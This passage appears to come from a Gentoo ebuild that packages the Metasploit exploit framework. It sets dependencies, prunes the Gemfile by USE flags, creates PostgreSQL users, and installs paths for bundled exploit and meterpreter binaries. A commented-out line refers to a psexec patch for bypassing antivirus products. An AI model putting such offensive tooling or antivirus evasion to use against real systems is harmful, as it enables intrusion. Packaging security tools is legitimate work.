KEYWORDS="~amd64 ~arm ~x86"
RUBY_S="${PN}-framework-${MY_PV}"
inherit versionator
SLOT="$(get_version_component_range 1).$(get_version_component_range 2)"
fi
DESCRIPTION="Advanced open-source framework for developing, testing, and using vulnerability exploit code"
HOMEPAGE="http://www.metasploit.org/"
LICENSE="BSD"
IUSE="development +java oracle +pcap test"
#multiple known bugs with tests reported upstream and ignored
#http://dev.metasploit.com/redmine/issues/8418 - worked around (fix user creation when possible)
RESTRICT="test"
RUBY_COMMON_DEPEND="virtual/ruby-ssl
>=dev-ruby/activesupport-4.0.9:4.0
>=dev-ruby/actionpack-4.0.9:4.0
>=dev-ruby/activerecord-4.0.9:4.0
dev-ruby/bcrypt-ruby
dev-ruby/builder:3
dev-ruby/bundler
=dev-ruby/jsobfu-0.2*
dev-ruby/json
dev-ruby/kissfft
dev-ruby/metasm:1.0.2
=dev-ruby/metasploit_data_models-1.2.5
dev-ruby/meterpreter_bins:0.0.22
dev-ruby/metasploit-payloads:1.0.15
dev-ruby/metasploit-credential:1.0.1
>=dev-ruby/metasploit-concern-1.0.0:1.0
>=dev-ruby/metasploit-model-1.0.0:1.0
dev-ruby/msgpack
dev-ruby/nokogiri
dev-ruby/recog:2.0.14
=dev-ruby/rkelly-remix-0.0.6
dev-ruby/sqlite3
>=dev-ruby/pg-0.11
dev-ruby/packetfu:1.1.11
>=dev-ruby/rubyzip-1.1
dev-ruby/rb-readline-r7
dev-ruby/robots
java? ( dev-ruby/rjb )
oracle? ( dev-ruby/ruby-oci8 )
pcap? ( dev-ruby/pcaprub:*
dev-ruby/network_interface )
development? ( dev-ruby/fivemat
dev-ruby/pry
dev-ruby/redcarpet
dev-ruby/yard
>=dev-ruby/rake-10.0.0
>=dev-ruby/factory_girl-4.1.0 )"
#lorcon doesn't support ruby21
#lorcon? ( net-wireless/lorcon[ruby] )
ruby_add_bdepend "${RUBY_COMMON_DEPEND}
test? ( >=dev-ruby/factory_girl-4.1.0
dev-ruby/fivemat
dev-ruby/database_cleaner
>=dev-ruby/rspec-2.12
dev-ruby/shoulda-matchers
dev-ruby/timecop
>=dev-ruby/rake-10.0.0 )"
ruby_add_rdepend "${RUBY_COMMON_DEPEND}"
COMMON_DEPEND="dev-db/postgresql[server]
>=app-crypt/johntheripper-1.7.9-r1[-minimal]
net-analyzer/nmap"
RDEPEND+=" ${COMMON_DEPEND}
>=app-eselect/eselect-metasploit-0.16"
RESTRICT="strip"
QA_PREBUILT="
usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_x86_linux.bin
usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_armle_linux.bin
usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_x86_solaris.bin
usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_x64_linux.bin
usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_x64_linux_dll.bin
usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_x86_bsd.bin
usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_x64_bsd.bin
usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_mipsbe_linux.bin
usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_mipsle_linux.bin
usr/$(get_libdir)/${PN}${SLOT}/data/meterpreter/msflinker_linux_x86.bin
usr/$(get_libdir)/${PN}${SLOT}/data/meterpreter/ext_server_sniffer.lso
usr/$(get_libdir)/${PN}${SLOT}/data/meterpreter/ext_server_networkpug.lso
usr/$(get_libdir)/${PN}${SLOT}/data/meterpreter/ext_server_stdapi.lso
usr/$(get_libdir)/${PN}${SLOT}/data/exploits/CVE-2013-2171.bin
usr/$(get_libdir)/${PN}${SLOT}/data/exploits/CVE-2014-3153.elf
usr/$(get_libdir)/${PN}${SLOT}/data/android/libs/x86/libndkstager.so
usr/$(get_libdir)/${PN}${SLOT}/data/android/libs/mips/libndkstager.so
usr/$(get_libdir)/${PN}${SLOT}/data/android/libs/armeabi/libndkstager.so
"
pkg_setup() {
if use test; then
su postgres -c "dropdb msf_test_database" #this is intentionally allowed to fail
su postgres -c "createuser msf_test_user -d -S -R"
if [ $? -ne 0 ]; then
su postgres -c "dropuser msf_test_user" || die
su postgres -c "createuser msf_test_user -d -S -R" || die
fi
su postgres -c "createdb --owner=msf_test_user msf_test_database" || die
fi
ruby-ng_pkg_setup
}
all_ruby_unpack() {
if [[ ${PV} == "9999" ]] ; then
git-r3_src_unpack
else
default_src_unpack
# mv "${WORKDIR}"/all/msf3/* "${WORKDIR}"/all
# rm -r msf3
#msf_version=$(grep --color=never "CURRENT_VERSION =" ${S}/spec/lib/msf/core/framework_spec.rb)
#msf_version=${msf_version#*=}
fi
}
all_ruby_prepare() {
# add psexec patch from pull request 2657 to allow custom exe templates from any files, bypassing most AVs
#epatch "${FILESDIR}/agix_psexec_pull-2657.patch"
epatch_user
#unbundle johntheripper, at least it now defaults to running the system version
rm -r data/john/run.*
rm -r data/john/src.tar.bz2
#remove random "cpuinfo" binaries which a only needed to detect which bundled john to run
rm -r data/cpuinfo
#remove random oudated collected garbage
rm -r external
#remove unneeded ruby bundler versioning files
#Gemfile.lock contains the versions tested by the msf team but not the hard requirements
#we regen this file in each_ruby_prepare
rm Gemfile.lock
#The Gemfile contains real known deps
#add our dep on upstream rb-readline instead of bundled one
#and then they broke it...
#sed -i "/gem 'packetfu'/a #use upstream readline instead of bundled\ngem 'rb-readline'" Gemfile || die
sed -i "/gem 'fivemat'/s/, '1.2.1'//" Gemfile || die
#remove the bundled readline
#https://github.com/rapid7/metasploit-framework/pull/3105
#this PR was closed due to numerous changes to their local fork, almost entirely for non-linux
#but now we have to go back to bundled readline because otherwise it's broken
#rm lib/rbreadline.rb
#now we edit the Gemfile based on use flags
#even if we pass --without=blah bundler still calculates the deps and messes us up
if ! use pcap; then
sed -i -e "/^group :pcap do/,/^end$/d" Gemfile || die
fi
if ! use development; then
sed -i -e "/^group :development do/,/^end$/d" Gemfile || die
fi
if ! use test; then
sed -i -e "/^group :test/,/^end$/d" Gemfile || die
fi
if ! use test && ! use development; then
sed -i -e "/^group :development/,/^end$/d" Gemfile || die
fi
#We don't need simplecov
sed -i -e "/^group :coverage/,/^end$/d" Gemfile || die
sed -i -e "s#require 'simplecov'##" spec/spec_helper.rb || die
#we need to edit the gemspec too, since it tries to call git instead of anything sane
#probably a better way to fix this... if I care at some point
sed -i -e "/^ spec.files/,/^ }/d" metasploit-framework.gemspec || die
#let's bogart msfupdate
rm msfupdate
echo "#!/bin/sh" > msfupdate
echo "echo \"[*]\"" >> msfupdate
echo "echo \"[*] Attempting to update the Metasploit Framework...\"" >> msfupdate
echo "echo \"[*]\"" >> msfupdate
echo "echo \"\"" >> msfupdate
if [[ ${PV} == "9999" ]] ; then
echo "if [ -x /usr/bin/smart-live-rebuild ]; then" >> msfupdate
echo " smart-live-rebuild -f net-analyzer/metasploit" >> msfupdate
echo "else" >> msfupdate
echo " echo \"Please install app-portage/smart-live-rebuild for a better experience.\"" >> msfupdate
echo "emerge --oneshot \"=${CATEGORY}/${PF}\"" >> msfupdate
echo "fi" >> msfupdate
else
echo "echo \"Unable to update tagged version of metasploit.\"" >> msfupdate
echo "echo \"If you want the latest please install and eselect the live version (metasploit9999)\"" >> msfupdate
echo "echo \"emerge metasploit:9999 -vat && eselect metasploit set metasploit9999\"" >> msfupdate
fi
#this is set executable in src_install
#install our database.yml file before tests are run
cp "${FILESDIR}"/database.yml config/
}
each_ruby_prepare() {
MSF_ROOT="." BUNDLE_GEMFILE=Gemfile ${RUBY} -S bundle install --local || die
MSF_ROOT="." BUNDLE_GEMFILE=Gemfile ${RUBY} -S bundle check || die
#force all metasploit executables to use desired ruby version
#https://dev.metasploit.com/redmine/issues/8357
for file in $(ls -1 msf*)
do
#poorly adapted from python.eclass
sed -e "1s:^#![[:space:]]*\([^[:space:]]*/usr/bin/env[[:space:]]\)\?[[:space:]]*\([^[:space:]]*/\)\?ruby\([[:digit:]]\+\(\.[[:digit:]]\+\)\?\)\?\(\$\|[[:space:]].*\):#!\1\2${RUBY}:" -i "${file}" || die "Conversion of shebang in '${file}' failed"
done
}
each_ruby_test() {
#review dev-python/pymongo for ways to make the test compatible with FEATURES=network-sandbox
#we bogart msfupdate so no point in trying to test it
rm spec/msfupdate_spec.rb || die
#we don't really want to be uploading to virustotal during the tests
rm spec/tools/virustotal_spec.rb || die
# https://dev.metasploit.com/redmine/issues/8425
BUNDLE_GEMFILE=Gemfile ${RUBY} -S bundle exec rake db:create || die
BUNDLE_GEMFILE=Gemfile ${RUBY} -S bundle exec rake db:migrate || die
MSF_DATABASE_CONFIG=config/database.yml BUNDLE_GEMFILE=Gemfile ${RUBY} -S bundle exec rake || die
su postgres -c "dropuser msf_test_user" || die "failed to cleanup msf_test-user"
}
each_ruby_install() {
#Tests have already been run, we don't need this stuff
rm -r spec || die
rm -r test || die
rm Gemfile.lock || die
#I'm 99% sure that this will only work for as long as we only support one ruby version. Creativity will be needed if we wish to support multiple.
# should be as simple as copying everything into the target...
dodir /usr/$(get_libdir)/${PN}${SLOT}
cp -R * "${ED}"/usr/$(get_libdir)/${PN}${SLOT} || die "Copy files failed"
rm -Rf "${ED}"/usr/$(get_libdir)/${PN}${SLOT}/documentation "${ED}"/usr/$(get_libdir)/${PN}${SLOT}/README.md
fowners -R root:0 /
}
all_ruby_install() {
# do not remove LICENSE, bug #238137
dodir /usr/share/doc/${PF}
cp -R {documentation,README.md} "${ED}"/usr/share/doc/${PF} || die
dosym /usr/share/doc/${PF}/documentation /usr/$(get_libdir)/${PN}${SLOT}/documentation
fperms +x /usr/$(get_libdir)/${PN}${SLOT}/msfupdate
#tell revdep-rebuild to ignore binaries meant for the target
dodir /etc/revdep-rebuild
cat <<-EOF > "${ED}"/etc/revdep-rebuild/99-metasploit${SLOT}
#These dirs contain prebuilt binaries for running on the TARGET not the HOST
SEARCH_DIRS_MASK="/usr/lib*/${PN}${SLOT}/data/meterpreter"
SEARCH_DIRS_MASK="/usr/lib*/${PN}${SLOT}/data/exploits"
EOF
}
pkg_postinst() {
elog "Before use you should run 'env-update' and '. /etc/profile'"
elog "otherwise you may be missing important environmental variables."
elog "You need to prepare the database by running:"
elog "emerge --config postgresql"
elog "/etc/init.d/postgresql-<version> start"
elog "emerge --config =metasploit-${PV}"
"${EROOT}"/usr/bin/eselect metasploit set --use-old ${PN}${SLOT}
einfo
elog "Adjust /usr/lib/${PN}${SLOT}/config/database.yml if necessary"
}
pkg_config() {
einfo "If the following fails, it is likely because you forgot to start/config postgresql first"
su postgres -c "createuser msf_user -D -S -R"
su postgres -c "createdb --owner=msf_user msf_database"
}